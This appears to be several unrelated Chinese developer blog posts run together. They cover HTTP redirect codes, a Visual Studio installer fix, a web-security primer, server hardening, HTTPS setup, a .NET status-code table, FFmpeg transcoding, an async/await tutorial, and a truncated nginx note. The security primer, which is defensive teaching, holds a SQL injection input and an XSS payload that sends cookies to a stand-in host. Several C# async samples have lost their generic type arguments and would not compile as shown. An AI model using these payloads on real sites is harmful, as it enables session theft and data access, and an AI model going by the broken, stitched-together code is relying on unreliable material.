一、概述
重定向常常和请求转发放在一起讨论（前者是两次不相关的请求，后者是一次请求服务器端转发），然而本文并不讨论两者的区别，而是HTTP 1.0规范和HTTP 1.1规范中关于重定向的区别，以及实际使用中的情况。
重定向实际使用是一个响应码（301或302或303或307）和一个响应头location，当浏览器收到响应的时候check响应码是3xx，则会取出响应头中location对应的url（重定向中url的编码问题，请参看点击打开链接），然后将该url替换浏览器地址栏并发起另一次HTTP事务。
关于301、302、303、307的区别，找不到好的文章，因此打算直撸HTTP 1.0规范和HTTP 1.1规范，结合一些实际的案例和tomcat实现，来说清楚这几个状态码的差异。
1. 百度https重定向
如下图所示，原请求访问的是http://www.baidu.com，然后返回302和location=https://www.baidu.com，从http转到https。不过关于响应行中302状态码的描述存在争议，在下文中会详细讨论。
2. tomcat重定向源码
二、详细
http 1.0规范中有2个重定向——301和302，在http 1.1规范中存在4个重定向——301、302、303和307，其中302是值得讨论讨论的。
1. http 1.0
301
301状态码在HTTP 1.0和HTTP 1.1规范中均代表永久重定向，对于资源请求，原来的url和响应头中location的url而言，资源应该对应location中的url。对于post请求的重定向，还是需要用户确认之后才能重定向，并且应该以post方法发出重定向请求。
关于post请求重定向用户确认的问题，实际上浏览器都没有实现；而且post请求的重定向应该发起post请求，这里浏览器也并不一定遵守，所以说HTTP规范的实现并未严格按照HTTP规范的语义。
在301中资源对应的路径修改为location的url，在SEO中并未出现问题，但是在302中就出现了302劫持问题，请往下看。
302
在http 1.0规范中，302表示临时重定向，location中的地址不应该被认为是资源路径，在后续的请求中应该继续使用原地址。
规范：原请求是post，则不能自动进行重定向；原请求是get，可以自动重定向；
实现：浏览器和服务器的实现并没有严格遵守HTTP中302的规范，服务器不加遵守的返回302，浏览器即便原请求是post也会自动重定向，导致规范和实现出现了二义性，由此衍生了一些问题，譬如302劫持，因此在HTTP 1.1中将302的规范细化成了303和307，希望以此来消除二义性。
补充：302劫持——A站通过重定向到B站的资源xxoo，A站实际上什么都没做但是有一个比较友好的域名，web资源xxoo存在B站并由B站提供，但是B站的域名不那么友好，因此对搜索引擎而言，可能会保存A站的地址对应xxoo资源而不是B站，这就意味着B站出了资源版权、带宽、服务器的钱，但是用户通过搜索引擎搜索xxoo资源的时候出来的是A站，A站什么都没做却被索搜引擎广而告之用户，B站做了一切却不被用户知道，价值被A站窃取了。
2. http 1.1
301
和http 1.0规范中保持一致，注意资源对应的路径应该是location中返回的url，而不再是原请求地址。
302
在HTTP 1.1中，实际上302是不再推荐使用的，只是为了兼容而作保留。规范中再次重申只有当原请求是GET or HEAD方式的时候才能自动的重定向，为了消除HTTP 1.0中302的二义性，在HTTP 1.1中引入了303和307来细化HTTP 1.0中302的语义。
303
在HTTP 1.0的时候，302的规范是原请求是post不可以自动重定向，但是服务器和浏览器的实现是运行重定向。
把HTTP 1.0规范中302的规范和实现拆分开，分别赋予HTTP 1.1中303和307，因此在HTTP 1.1中，303继承了HTTP 1.0中302的实现（即原请求是post，也允许自动进行重定向，结果是无论原请求是get还是post，都可以自动进行重定向），而307则继承了HTTP 1.0中302的规范（即如果原请求是post，则不允许进行自动重定向，结果是post不重定向，get可以自动重定向）。
307
在http 1.1规范中，307为临时重定向，注意划红线的部分，如果重定向307的原请求不是get或者head方法，那么浏览器一定不能自动的进行重定向，即便location有url，也应该忽略。
也就是307继承了302在HTTP 1.0中的规范（303继承了302在HTTP 1.0中的实现）。
3. 小结
在HTTP 1.0规范中，302的规范并没有被服务器和浏览器遵守，即规范和实现出现了二义性，因此在HTTP 1.1中，将302的规范和实现拆分成了303和307。
三、结论
虽然在不同版本的http规范中对重定向赋予了不同的语义，但是因为使用历史和服务器实现等原因，在实际中并不一定安全按照http规范实现，因此我个人感觉上述讨论只是一个了解，在实际写代码中302还是继续用吧···
参考：
1. 《http 1.0规范》
2. 《http 1.1规范》
3. 博客：点击打开链接
附注：
本文如有错漏，烦请不吝指正，谢谢！
VS2017 安装程序变革比较大，最近安装了 15.1 (26403.3) 版本后提示重启，重启后再次打开安装程序还是提示需要重启，导致无法进入下一步执行添加、删除、修复组件的操作。
试用了几天以后没有发现这个情况会对开发工作产生影响，那么如果要修改安装组件怎么办呢？我们可以打开 Visual Studio 2017，新建项目，在左侧的“已安装”选项卡的底部点击“打开 Visual Studio 安装程序”：
又可以愉快地玩耍啦！
点不了“修改”？请关闭 Microsoft Visual Studio 2017 的所有实例，然后继续此操作。
互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。
这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说，假设页面输出为：
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。
要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。
最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
程序设计规范：
【推荐】上传的文件直接保存到文件存储服务（如阿里云 OSS），这样即使被上传了后门 shell，对网站服务器也不会有影响。
否则必须通过文件头来确定文件类型，检查文件十六进制的文件头和文件尾是否合法，并检查文件流中是否包含 php、evel 等字符。
不可直接使用客户端文件名来保存文件，特别是后缀名/扩展名。应生成随机文件名，并通过检验文件头来确定文件类型。必须由程序指定保存目录。
使用 OSS 的应直接上传，不要在 ECS 上临时存放或备份。如必须存放的，应按上述规范操作。
服务器安全设置
CentOS + nginx + PHP：
全站文件取消属性中的“执行”权限（chmod），因为这个“执行”与运行 PHP 无关。而需要上传文件的“目录”需要“执行”权限，原因是需要往该目录创建文件。
仅需要写入的目录或文件设置“写入”权限。如上传图片目录、ThinkPHP 的 Runtime 目录。
凡可写目录或文件均不允许运行 PHP / PY 等 除需要被直接访问的 PHP / PY 文件，其它动态文件均不允许被访问到，在 nginx 的配置文件中添加项，参：https://xoyozo.net/Blog/Details/nginx-location-if，若全站使用统一的入口文件访问，那么设置仅该文件允许运行 PHP 即可。通过 IO 方式被其它文件包含的文件，无需运行 PHP 权限。（“deny all”对 include 起作用，但对 IO 不起作用，因此 Runtime 目录可以继续为 ThinkPHP 提供缓存服务。）这一步非常有用。
使用与 nginx 网站用户不同的用户来部署网站文件，如宝塔面板 PHP 使用 www 用户，那么就使用 root 或其它新用户来上传文件，否则将导致全站目录和文件可写。有条件的建议不同网站使用不同的用户，可防止一个网站被入侵后导致其它网站文件或磁盘上的其它文件被泄露的风险（2022年10月2日从宝塔官方社区获悉，宝塔面板暂不支持使用非 www 用户创建并运行网站）。
Windows Server + IIS + ASP.NET：
配置每个磁盘的安全属性，拒绝“IIS_IUSRS”这个用户组的所有权限。只要设置驱动器即可，子文件夹和文件会自动继承。若运行 .NET Framework 项目，需要设置 C:\Windows\Microsoft.NET\Framework\v*.*.*****\Temporary ASP.NET Files\ 目录可修改写入权限，.NET Core 项目不需要此设置。
为每个网站创建一个新用户，仅隶属于“IIS_IUSRS”。网站根目录安全属性添加该用户，权限选择“读取”。（已测取消“读取与执行”不影响 PHP，“列出文件夹内容”视业务需求开启，建议关闭）。仅需要上传文件的目录或文件设置“修改”、“写入”权限。（修改对应修改文件，写入对应上传文件）
IIS 网站中设置“物理路径凭据”以及应用程序池的“标识”。
IIS 中设置写入目录的“处理程序映射”无脚本。
各位站长好：
根据苹果相关通知，从2017年1月1日起，所有上架AppStore的应用必须支持https协议。
仍然采用HTTP传输的站点APP，将无法在AppStore被用户下载使用，也无法进行升级更新等工作。
官方视频
https://developer.apple.com/videos/play/wwdc2016/706/
相关新闻
http://www.chinaz.com/news/2016/1028/602635.shtml
根据AppStore审核要求，站长需要在2017年1月1日之前，在APP服务器全面部署https。
尽管不升级支持https后果严重，但诸位也不必太过担心，马甲根据要求为各位提供一份服务器升级https的技术文档，供您参考。
https的优点：
1. 相对于http，https可以确保数据在网络传输过程中不被篡改(如禁止运营商插入广告)，同时可以提升网站的安全性。
2. iOS可以实现微信内部浏览器直接启动并打开App对应页面。
APP网站升级https步骤：
1. 为APP域名申请购买SSL证书（可选免费型）；
2. 将SSL证书部署到APP站点。
https证书申请方法：
1. 进入阿里云（独立服务器客户可注册一个阿里云账号，无须购买阿里云主机）https证书申请页面 https://www.aliyun.com/product/security/markets/aliyun/product/cas
2. 购买https证书，选择免费类型，点击购买（无需实际付款)
3. 购买完成后，进入控制台-CA证书服务页面，找到证书订单，点击“补全”
4. 填写证书对应的域名信息，免费证书只能用于一个域名(请填写完整域名例如：test.magapp.cc 而不是 magapp.cc)
5. 继续补全证书信息，注意域名验证类型选择DNS，邮箱填写自己常用邮箱即可，稍后系统会往邮箱发送域名解析信息。
6. 下一步生成证书请求文件(CSR)，这里建议选择“系统生成CSR”，点击右侧创建，创建完成后，点击提交审核，开始申请https证书。
7. 稍后系统会向邮箱发送一份该邮件，邮件包含需要在域名管理后台解析的信息。
8. 到域名管理后台添加新的域名解析，注意解析类型为CNAME
9. 添加新域名解析完成后，系统会对您的申请进行审核（审核时间在几分钟到几个小时不确定），如果审核成功系统会为你签发https证书，失败也会有相关原因说明，如果失败可根据提示重新申请。
10. https证书申请成功后，下一步就可以下载并部署到APP服务器。
11. 点击下载后，可以根据阿里云提供的部署文档，进行相关的服务器部署工作。
12. 部署完成后，验证是否部署成功
第一步：使用https协议访问域名是否能正常访问，例如 https://test.magapp.cc
第二步：在线检测域名是否满足苹果审核要求，网址为：https://www.qcloud.com/product/ssl.html#userDefined10
填写自己申请https的域名
如果域名检测各项满足会显示如下图所示
部署注意事项：
1. https使用的是443端口而不是默认的80端口，需要在wdcp安全管理-iptables开启443端口。
2. https免费证书有效期为一年，请各位站长作好记录，提前重新申请。
3. 站点从http转到https完全过渡需要一段时间，建议在部署时站点同时支持http和https。
4. 部署过程遇到任何问题，可联系您的专属运维人员。
MAGAPP技术部
| 成员名称 | 说明 |
|---|---|
| Accepted |
等效于 HTTP 状态 202。 Accepted 指示请求已被接受做进一步处理。 |
| Ambiguous |
等效于 HTTP 状态 300。 Ambiguous 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向，并遵循与此响应关联的 Location 标头的内容。 |
| BadGateway |
等效于 HTTP 状态 502。 BadGateway 指示中间代理服务器从另一代理或原始服务器接收到错误响应。 |
| BadRequest |
等效于 HTTP 状态 400。 BadRequest 指示服务器未能识别请求。如果没有其他适用的错误，或者不知道准确的错误或错误没有自己的错误代码，则发送 BadRequest。 |
| Conflict |
等效于 HTTP 状态 409。 Conflict 指示由于服务器上的冲突而未能执行请求。 |
| Continue |
等效于 HTTP 状态 100。 Continue 指示客户端可能继续其请求。 |
| Created |
等效于 HTTP 状态 201。 Created 指示请求导致在响应被发送前创建新资源。 |
| ExpectationFailed |
等效于 HTTP 状态 417。 ExpectationFailed 指示服务器未能符合 Expect 头中给定的预期值。 |
| Forbidden |
等效于 HTTP 状态 403。 Forbidden 指示服务器拒绝满足请求。 |
| Found |
等效于 HTTP 状态 302。 Found 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时，重定向的请求将使用 GET 方法。 |
| GatewayTimeout |
等效于 HTTP 状态 504。 GatewayTimeout 指示中间代理服务器在等待来自另一个代理或原始服务器的响应时已超时。 |
| Gone |
等效于 HTTP 状态 410。 Gone 指示请求的资源不再可用。 |
| HttpVersionNotSupported |
等效于 HTTP 状态 505。 HttpVersionNotSupported 指示服务器不支持请求的 HTTP 版本。 |
| InternalServerError |
等效于 HTTP 状态 500。 InternalServerError 指示服务器上发生了一般错误。 |
| LengthRequired |
等效于 HTTP 状态 411。 LengthRequired 指示缺少必需的 Content-length 头。 |
| MethodNotAllowed |
等效于 HTTP 状态 405。 MethodNotAllowed 指示请求的资源上不允许请求方法（POST 或 GET）。 |
| Moved |
等效于 HTTP 状态 301。 Moved 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时，重定向的请求将使用 GET 方法。 |
| MovedPermanently |
等效于 HTTP 状态 301。 MovedPermanently 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。 |
| MultipleChoices |
等效于 HTTP 状态 300。 MultipleChoices 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向，并遵循与此响应关联的 Location 标头的内容。 |
| NoContent |
等效于 HTTP 状态 204。 NoContent 指示已成功处理请求并且响应已被设定为无内容。 |
| NonAuthoritativeInformation |
等效于 HTTP 状态 203。 NonAuthoritativeInformation 指示返回的元信息来自缓存副本而不是原始服务器，因此可能不正确。 |
| NotAcceptable |
等效于 HTTP 状态 406。 NotAcceptable 指示客户端已用 Accept 头指示将不接受资源的任何可用表示形式。 |
| NotFound |
等效于 HTTP 状态 404。 NotFound 指示请求的资源不在服务器上。 |
| NotImplemented |
等效于 HTTP 状态 501。 NotImplemented 指示服务器不支持请求的函数。 |
| NotModified |
等效于 HTTP 状态 304。 NotModified 指示客户端的缓存副本是最新的。未传输此资源的内容。 |
| OK |
等效于 HTTP 状态 200。 OK 指示请求成功，且请求的信息包含在响应中。这是最常接收的状态代码。 |
| PartialContent |
等效于 HTTP 状态 206。 PartialContent 指示响应是包括字节范围的 GET 请求所请求的部分响应。 |
| PaymentRequired |
等效于 HTTP 状态 402。保留 PaymentRequired 以供将来使用。 |
| PreconditionFailed |
等效于 HTTP 状态 412。 PreconditionFailed 指示为此请求设置的条件失败，且无法执行此请求。条件是用条件请求标头（如 If-Match、If-None-Match 或 If-Unmodified-Since）设置的。 |
| ProxyAuthenticationRequired |
等效于 HTTP 状态 407。 ProxyAuthenticationRequired 指示请求的代理要求身份验证。Proxy-authenticate 头包含如何执行身份验证的详细信息。 |
| Redirect |
等效于 HTTP 状态 302。 Redirect 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时，重定向的请求将使用 GET 方法。 |
| RedirectKeepVerb |
等效于 HTTP 状态 307。 RedirectKeepVerb 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时，重定向的请求还将使用 POST 方法。 |
| RedirectMethod |
等效于 HTTP 状态 303。作为 POST 的结果，RedirectMethod 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| RequestedRangeNotSatisfiable |
等效于 HTTP 状态 416。 RequestedRangeNotSatisfiable 指示无法返回从资源请求的数据范围，因为范围的开头在资源的开头之前，或因为范围的结尾在资源的结尾之后。 |
| RequestEntityTooLarge |
等效于 HTTP 状态 413。 RequestEntityTooLarge 指示请求太大，服务器无法处理。 |
| RequestTimeout |
等效于 HTTP 状态 408。 RequestTimeout 指示客户端没有在服务器期望请求的时间内发送请求。 |
| RequestUriTooLong |
等效于 HTTP 状态 414。 RequestUriTooLong 指示 URI 太长。 |
| ResetContent |
等效于 HTTP 状态 205。 ResetContent 指示客户端应重置（或重新加载）当前资源。 |
| SeeOther |
等效于 HTTP 状态 303。作为 POST 的结果，SeeOther 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| ServiceUnavailable |
等效于 HTTP 状态 503。 ServiceUnavailable 指示服务器暂时不可用，通常是由于过多加载或维护。 |
| SwitchingProtocols |
等效于 HTTP 状态 101。 SwitchingProtocols 指示正在更改协议版本或协议。 |
| TemporaryRedirect |
等效于 HTTP 状态 307。 TemporaryRedirect 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时，重定向的请求还将使用 POST 方法。 |
| Unauthorized |
等效于 HTTP 状态 401。 Unauthorized 指示请求的资源要求身份验证。WWW-Authenticate 头包含如何执行身份验证的详细信息。 |
| UnsupportedMediaType |
等效于 HTTP 状态 415。 UnsupportedMediaType 指示请求是不支持的类型。 |
| Unused |
等效于 HTTP 状态 306。 Unused 是未完全指定的 HTTP/1.1 规范的建议扩展。 |
| UpgradeRequired |
等效于 HTTP 状态 426。 UpgradeRequired 指示客户端应切换为诸如 TLS/1.0 之类的其他协议。 |
| UseProxy |
等效于 HTTP 状态 305。 UseProxy 指示请求应使用位于 Location 头中指定的 URI 的代理服务器。 |
最近做到微信语音时用到，将微信的媒体文件（.amr）下载到自己服务器上，并转码为 .mp3 格式。
下载 FFmpeg for Windows，放在网站目录下，譬如：网站目录/bin/ffmpeg/ffmpeg.exe
转换代码
string amr = HttpRuntime.AppDomainAppPath + media.sLocalPath.Substring(1).Replace("/", @"\");
string mp3 = amr + ".mp3";
string ffmpeg = HttpRuntime.AppDomainAppPath + @"bin\ffmpeg\ffmpeg.exe";
Process p = new Process();
p.StartInfo.FileName = ffmpeg;
p.StartInfo.Arguments = $@"-y -i {amr} -ar {16000} {mp3}";
p.Start();
p.WaitForExit();
p.Close();-y 若有提示用户选择，默认“是”
-ar 采样数，微信的 amr 是 8000 Hz，如果不加这个参数转换后的 mp3 的也是 8000 Hz，但是音质下降严重，所以设成 16000 Hz 才勉强保持了音质。
WaitForExit() 是等待转码完毕才继续往下执行。
前言
最近在学习Web Api框架的时候接触到了async/await，这个特性是.NET 4.5引入的，由于之前对于异步编程不是很了解，所以花费了一些时间学习一下相关的知识，并整理成这篇博客，如果在阅读的过程中发现不对的地方，欢迎大家指正。
同步编程与异步编程
通常情况下，我们写的C#代码就是同步的，运行在同一个线程中，从程序的第一行代码到最后一句代码顺序执行。而异步编程的核心是使用多线程，通过让不同的线程执行不同的任务，实现不同代码的并行运行。
前台线程与后台线程
关于多线程，早在.NET2.0时代，基础类库中就提供了Thread实现。默认情况下，实例化一个Thread创建的是前台线程，只要有前台线程在运行，应用程序的进程就一直处于运行状态，以控制台应用程序为例，在Main方法中实例化一个Thread，这个Main方法就会等待Thread线程执行完毕才退出。而对于后台线程，应用程序将不考虑其是否执行完毕，只要应用程序的主线程和前台线程执行完毕就可以退出，退出后所有的后台线程将被自动终止。来看代码应该更清楚一些：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("主线程开始");
//实例化Thread，默认创建前台线程
Thread t1 = new Thread(DoRun1);
t1.Start();
//可以通过修改Thread的IsBackground，将其变为后台线程
Thread t2 = new Thread(DoRun2) { IsBackground = true };
t2.Start();
Console.WriteLine("主线程结束");
}
static void DoRun1()
{
Thread.Sleep(500);
Console.WriteLine("这是前台线程调用");
}
static void DoRun2()
{
Thread.Sleep(1500);
Console.WriteLine("这是后台线程调用");
}
}
}运行上面的代码，可以看到DoRun2方法的打印信息“这是后台线程调用”将不会被显示出来，因为应用程序执行完主线程和前台线程后，就自动退出了，所有的后台线程将被自动终止。这里后台线程设置了等待1.5s，假如这个后台线程比前台线程或主线程提前执行完毕，对应的信息“这是后台线程调用”将可以被成功打印出来。
Task
.NET 4.0推出了新一代的多线程模型Task。async/await特性是与Task紧密相关的，所以在了解async/await前必须充分了解Task的使用。这里将以一个简单的Demo来看一下Task的使用，同时与Thread的创建方式做一下对比。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("主线程启动");
//.NET 4.5引入了Task.Run静态方法来启动一个线程
Task.Run(() => { Thread.Sleep(1000); Console.WriteLine("Task1启动"); });
//Task启动的是后台线程，假如要在主线程中等待后台线程执行完毕，可以调用Wait方法
Task task = Task.Run(() => { Thread.Sleep(500); Console.WriteLine("Task2启动"); });
task.Wait();
Console.WriteLine("主线程结束");
}
}
}首先，必须明确一点是Task启动的线程是后台线程，不过可以通过在Main方法中调用task.Wait()方法，使应用程序等待task执行完毕。Task与Thread的一个重要区分点是：Task底层是使用线程池的，而Thread每次实例化都会创建一个新的线程。这里可以通过这段代码做一次验证：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void DoRun1()
{
Console.WriteLine("Thread Id =" + Thread.CurrentThread.ManagedThreadId);
}
static void DoRun2()
{
Thread.Sleep(50);
Console.WriteLine("Task调用Thread Id =" + Thread.CurrentThread.ManagedThreadId);
}
static void Main(string[] args)
{
for (int i = 0; i < 50; i++)
{
new Thread(DoRun1).Start();
}
for (int i = 0; i < 50; i++)
{
Task.Run(() => { DoRun2(); });
}
//让应用程序不立即退出
Console.Read();
}
}
}运行代码，可以看到DoRun1()方法每次的Thread Id都是不同的，而DoRun2()方法的Thread Id是重复出现的。我们知道线程的创建和销毁是一个开销比较大的操作，Task.Run()每次执行将不会立即创建一个新线程，而是到CLR线程池查看是否有空闲的线程，有的话就取一个线程处理这个请求，处理完请求后再把线程放回线程池，这个线程也不会立即撤销，而是设置为空闲状态，可供线程池再次调度，从而减少开销。
Task<TResult>
Task<TResult>是Task的泛型版本，这两个之间的最大不同是Task<TResult>可以有一个返回值，看一下代码应该一目了然：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("主线程开始");
Task task = Task.Run(() => { Thread.Sleep(1000); return Thread.CurrentThread.ManagedThreadId.ToString(); });
Console.WriteLine(task.Result);
Console.WriteLine("主线程结束");
}
}
}Task<TResult>的实例对象有一个Result属性，当在Main方法中调用task.Result的时候，将等待task执行完毕并得到返回值，这里的效果跟调用task.Wait()是一样的，只是多了一个返回值。
async/await 特性
经过前面的铺垫，终于迎来了这篇文章的主角async/await，还是先通过代码来感受一下这两个特性的使用。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("-------主线程启动-------");
Task task = GetLengthAsync();
Console.WriteLine("Main方法做其他事情");
Console.WriteLine("Task返回的值" + task.Result);
Console.WriteLine("-------主线程结束-------");
}
static async Task GetLengthAsync()
{
Console.WriteLine("GetLengthAsync Start");
string str = await GetStringAsync();
Console.WriteLine("GetLengthAsync End");
return str.Length;
}
static Task GetStringAsync()
{
return Task.Run(() => { Thread.Sleep(2000); return "finished"; });
}
}
}首先来看一下async关键字。async用来修饰方法，表明这个方法是异步的，声明的方法的返回类型必须为：void或Task或Task<TResult>。返回类型为Task的异步方法中无需使用return返回值，而返回类型为Task<TResult>的异步方法中必须使用return返回一个TResult的值，如上述Demo中的异步方法返回一个int。而返回类型可为void，则是为了和事件处理程序兼容，比如下面的示例：
public Form1()
{
InitializeComponent();
btnDo.Click += Down;
}
public async void Down(object sender, EventArgs e)
{
btnDo.Enabled = false;
string str = await Run();
labText.Text = str;
btnDo.Enabled = true;
}
public Task Run()
{
return Task.Run(() => { Thread.Sleep(5000); return DateTime.Now.ToString(); });
}再来看一下await关键字。await必须用来修饰Task或Task<TResult>，而且只能出现在已经用async关键字修饰的异步方法中。
通常情况下，async/await必须成对出现才有意义，假如一个方法声明为async，但却没有使用await关键字，则这个方法在执行的时候就被当作同步方法，这时编译器也会抛出警告提示async修饰的方法中没有使用await，将被作为同步方法使用。了解了关键字async\await的特点后，我们来看一下上述Demo在控制台会输入什么吧。
输出的结果已经很明确地告诉我们整个执行流程了。GetLengthAsync异步方法刚开始是同步执行的，所以"GetLengthAsync Start"字符串会被打印出来，直到遇到第一个await关键字，真正的异步任务GetStringAsync开始执行，await相当于起到一个标记/唤醒点的作用，同时将控制权放回给Main方法，"Main方法做其他事情"字符串会被打印出来。之后由于Main方法需要访问到task.Result，所以就会等待异步方法GetLengthAsync的执行，而GetLengthAsync又等待GetStringAsync的执行，一旦GetStringAsync执行完毕，就会回到await GetStringAsync这个点上执行往下执行，这时"GetLengthAsync End"字符串就会被打印出来。
当然，我们也可以使用下面的方法完成上面控制台的输出。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("-------主线程启动-------");
Task task = GetLengthAsync();
Console.WriteLine("Main方法做其他事情");
Console.WriteLine("Task返回的值" + task.Result);
Console.WriteLine("-------主线程结束-------");
}
static Task GetLengthAsync()
{
Console.WriteLine("GetLengthAsync Start");
Task task = Task.Run(() => { string str = GetStringAsync().Result;
Console.WriteLine("GetLengthAsync End");
return str.Length; });
return task;
}
static Task GetStringAsync()
{
return Task.Run(() => { Thread.Sleep(2000); return "finished"; });
}
}
}对比两种方法，是不是async\await关键字的原理其实就是通过使用一个线程完成异步调用吗？答案是否定的。async关键字表明可以在方法内部使用await关键字，方法在执行到await前都是同步执行的，运行到await处就会挂起，并返回到Main方法中，直到await标记的Task执行完毕，才唤醒回到await点上，继续向下执行。更深入点的介绍可以查看文章末尾的参考文献。
async/await 实际应用
微软已经对一些基础类库的方法提供了异步实现，接下来将实现一个例子来介绍一下async/await的实际应用。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Threading;
using System.Threading.Tasks;
using System.Net;
namespace TestApp
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("开始获取博客园首页字符数量");
Task task1 = CountCharsAsync("http://www.cnblogs.com");
Console.WriteLine("开始获取百度首页字符数量");
Task task2 = CountCharsAsync("http://www.baidu.com");
Console.WriteLine("Main方法中做其他事情");
Console.WriteLine("博客园:" + task1.Result);
Console.WriteLine("百度:" + task2.Result);
}
static async Task CountCharsAsync(string url)
{
WebClient wc = new WebClient();
string result = await wc.DownloadStringTaskAsync(new Uri(url));
return result.Length;
}
}
}参考文献：<IIIustrated C# 2012> 关于async/await的FAQ 《深入理解C#》
1、 location 的匹配顺序是“先匹配正则，再匹配普通”。
矫正： location 的匹配顺序其实是“先匹配普通，再匹配正则”。我这么说，大家一定会反驳我，因为按“先匹配普通，再匹配正则”解释不了大家平时习惯的按“先匹配正则，再匹配普通”的实践经验。这里我只能暂时解释下，造成这种误解的原因是：正则匹配会覆盖普通匹配（实际的规则，比这复杂，后面会详细解释）。
2、 location 的执行逻辑跟 location 的编辑顺序无关。
